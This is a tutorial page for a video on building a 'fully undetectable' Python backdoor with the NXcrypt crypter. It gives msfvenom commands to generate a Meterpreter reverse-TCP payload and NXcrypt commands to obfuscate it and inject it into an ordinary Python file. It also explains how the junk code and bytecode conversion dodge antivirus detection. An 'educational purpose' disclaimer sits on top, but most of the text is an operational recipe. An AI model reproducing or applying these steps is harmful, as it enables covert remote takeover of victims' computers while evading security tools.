NXcrypt - Python Backdoor Framework | Fully Undetectable Payload | Remote Access PC 2017

NXcrypt - Python Backdoor Framework | Fully Undetectable Payload | Remote Access PC 2017 By SSTec Tutorials.

Create Fully Undetectable Python Backdoor Using Nccrypt And Hack Pc Using Remote Hack PC Meterepreter Session

This Video Is Only For Educational Purpose!!!

Nxcrypt Is A Polymorphic 'Python Backdoors' Crypter Written In Python By Hadi Mene (H4d3s) . The Output Is Fully Undetectable .

Nxcrypt Can Inject Malicious Python File Into A Normal File With Multi-Threading System .

Run It With Superuser's Permissions .

Nxcrypt Output Is Fully Undetectable .

Create Python Backdor.

msfvenom --payload=python/meterpreter/reverse_tcp LHOST=your ip LPORT=your port --out=meterpreter.py

NXcrypt Download :- https://github.com/Hadi999/NXcrypt.git

Encrypt backdor :

python NXcrypt.py --file=/root/Desktop/meterpreter.py --output=/root/Desktop/output_backdoor.py

Usage :

sudo ./NXcrypt.py --file=backdoor.py --output=output_backdoor.py # encrypt backdoor.py and output file is output_backdoor.py
sudo ./NXcrypt.py --file=shell.py # encrypt shell.py and default output file is backdoor.py but you can edit it in source code
sudo ./NXcrypt.py --help # NXcrypt help
sudo ./NXcrypt.py --backdoor-file=payload.py --file=test.py --output=hacked.py # inject payload.py with test.py into hacked.py with multi-threading system

How it work ?

Encryption module :
NXcrypt add some junkcode .
NXcrypt use a python internal module 'py_compile' who compile the code into bytecode to a .pyc file .
NXcrypt convert .pyc file into normal .py file .
And in this way we can obfuscate the code
The md5sum will change too

Injection module :
it inject a malicious python file into a normal file with multi-threading system .


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